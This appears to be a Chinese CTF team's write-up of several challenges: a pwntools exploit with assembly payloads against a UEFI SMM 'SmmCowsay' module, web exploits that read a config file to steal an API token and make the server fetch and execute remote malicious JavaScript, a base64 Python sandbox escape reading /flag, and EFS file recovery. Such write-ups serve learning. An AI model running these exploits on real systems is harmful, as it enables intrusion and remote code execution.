conn.recvuntil(b'RAX: 0x')mSmmCommunication = int(conn.recvn(16), 16)conn.recvuntil(b'RBX: 0x')Communicate = int(conn.recvn(16), 16)
log.success('mSmmCommunication @ 0x%x', mSmmCommunication)log.success('mSmmCommunication->Communicate @ 0x%x', Communicate)
# Taken from 0003-SmmCowsay-Vulnerable-Cowsay.patchgEfiSmmCowsayCommunicationGuid = int.from_bytes(bytes.fromhex('1EF11CB3F3B786EC72088E54B1F4769D'), 'little')EfiRuntimeServicesData = 6
code = asm(f''' /* AllocatePool(EfiRuntimeServicesData, 0x1000, &buffer) */ mov rcx, {EfiRuntimeServicesData} mov rdx, 0x1000 lea r8, qword ptr [rip + buffer] mov rax, {AllocatePool} call rax
test rax, rax jnz fail
mov rax, qword ptr [rip + buffer] ret
fail: ud2
buffer:''')conn.sendline(code.hex().encode() + b'\ndone')
conn.recvuntil(b'RAX: 0x')buffer = int(conn.recvn(16), 16)log.success('Allocated buffer @ 0x%x', buffer)# 0x53fc0a7# 49c7c400003323c3code = asm(f''' /* Copy data into allocated buffer */ mov rcx, {LocateProtocol} mov rax, 14061138536686733129 mov qword ptr [rcx], rax lea rsi, qword ptr [rip + data] mov rdi, {buffer} mov rcx, 0x40 cld rep movsb mov rcx, {mSmmCommunication} /* Communicate(mSmmCommunication, buffer, NULL) */ mov rcx, {mSmmCommunication} mov rdx, {buffer} xor r8, r8 mov rax, {Communicate} call rax
test rax, rax jnz fail mov rax, [0x23330000] mov rbx, [0x23330008] retfail: ud2
data: .octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */ .quad 32 /* Buffer->MessageLength */ .quad 0x4141414141414141 /* Buffer->Data */ .quad 0x4141414141414141 .quad 0x4141414141414141 .quad 0x4141414141414141''')# 0x7f0607bconn.sendline(code.hex().encode())conn.sendline(b'done')# Check output to see if things workconn.interactive()
# DuhbeCTF{$:--)}

好短的flag啊,还以为没打成功。

参考:

https://ctftime.org/writeup/34881

大部分内容都一样,唯一的却别是红框位置。

先是判断传入数据是不是414141,后面又判断是不是0x23330000。

逻辑有点矛盾,所以应该是得在中间的调用过程中给他改掉。

权限不同但是函数是共用的,patch后可以成功修正逻辑。

mov rcx, {LocateProtocol}mov rax, 14061138536686733129mov qword ptr [rcx], rax
pwn asm -c amd64 'mov r12, 0x23330000; ret'

WEB

wecat:

改管理员密码

登录后台 文件上传覆盖ws.js文件

将修改后的ws.js代码覆盖上去

上传成功后访问 /wechatAPI/login/checkRepeatLogin

Master of Profile:

读配置文件

http://1.95.13.243:39053/getlocal?path=pref.yml

读到accesstoken:

api_access_token:189069462103782304169366230
enable_cache:false

发现cache选项关闭,通过token修改配置文件,将cache开启

/updateconf?token=189069462103782304169366230&type=direct

然后将恶意js放入远程,通过sub路由读取缓存文件后qjs执行恶意js内容

import requestsimport yaml
url = "http://1.95.13.243:42945"
# get tokenr = requests.get(url=url+"/getlocal?path=pref.yml")config_data = yaml.safe_load(r.text)
# 提取api_access_token字段的值api_access_token = config_data['common']['api_access_token']print("[+] Access Token:", api_access_token)
# 开启cacheconfig_data['advanced']['enable_cache'] = 'true'modified_yaml = yaml.dump(config_data)
# 修改配置文件requests.post(url=url+f"/updateconf?token={api_access_token}&type=direct",data=modified_yaml)
r = requests.get(url=url+"/sub?target=clash&url=http://ip:1337/4.js")#r = requests.get(url=url+"/sub?target=clash&url=http://ip:1337/2.js")requests.get(url=url+f"/sub?token={api_access_token}&target=clash&url=script:cache/3ba54108e843eaa7f9f53a4931abc52e")
r = requests.get(url=url+"/getlocal?path=/tmp/pwn")print(r.text)

MISC

ezPythonCheckin:

1、nc连接先看看猫腻,大致就是输入的值要先进行base64解密

2、经过测试发现它是一个python3的环境,也就是说我们通过编写脚本之后进行base64加密后传入服务器即可得到脚本运行的结果!!!

3.查看checkin.py,发现过滤了以下字符,但发现没有过滤open,所以我们可以直接使用open来读取文件

4、直接构造exp

with open('/flag', 'r') as file: # 读取文件内容 content = file.read() # 打印内容print(content)EXP:d2l0aCBvcGVuKCcvZmxhZycsICdyJykgYXMgZmlsZToKICAgICMg6K+75Y+W5paH5Lu25YaF5a65CiAgICBjb250ZW50ID0gZmlsZS5yZWFkKCkKICAgICMg5omT5Y2w5YaF5a65CiAgICBwcmludChjb250ZW50KQ==

Cipher:

1、使用取证大师打开vhd文件,发现flag.jpg

但是flag文件被EFS加密了

2、分析EFS加密原理得到结论

https://learn.microsoft.com/zh-cn/previous-versions/msdn10/ff729412(v=msdn.10)

因此我们只需要找到公钥、私钥与用户密码即可进行解密

3、这里看到一篇文章,公钥和私钥分别在Crypto文件夹和Protect文件夹中

https://blog.csdn.net/shuaicenglou3032/article/details/131184510

4、接着使用Windows自带的cipher对图片进行解析

接下来我们只需要得到mark的密码就可以将文件恢复

5、直接看cmd的history得到mark的密码为superman

6、挂载磁盘,使用aefsdr工具对文件进行恢复

FOOTER

      山海关安全团队是一支专注网络安全的实战型团队,团队成员均来自国内外各大高校与企事业单位,总人数已达50余人。Arr3stY0u(意喻”逮捕你“)战队与W4ntY0u(意喻”通缉你“)预备队隶属于团队CTF组,活跃于各类网络安全比赛,欢迎你的加入哦~

继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存